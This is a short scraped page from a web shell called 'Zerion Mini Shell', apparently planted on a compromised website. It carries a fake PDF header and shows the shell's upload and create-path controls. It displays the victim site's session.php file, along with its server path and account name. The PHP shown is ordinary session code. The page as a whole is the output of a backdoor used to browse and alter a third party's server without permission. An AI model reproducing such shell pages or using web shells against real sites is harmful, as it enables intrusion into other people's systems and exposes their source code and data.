%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/medipszd/public_html/includes/
Upload File :
Create Path :
Current File : /home/medipszd/public_html/includes/session.php

<?php
	include 'includes/conn.php';
	session_start();

	if(isset($_SESSION['admin'])){
		header('location: admin/home.php');
	}

	if(isset($_SESSION['user'])){
		$conn = $pdo->open();

		try{
			$stmt = $conn->prepare("SELECT * FROM users WHERE id=:id");
			$stmt->execute(['id'=>$_SESSION['user']]);
			$user = $stmt->fetch();
		}
		catch(PDOException $e){
			echo "There is some problem in connection: " . $e->getMessage();
		}

		$pdo->close();
	}
?>

Zerion Mini Shell 1.0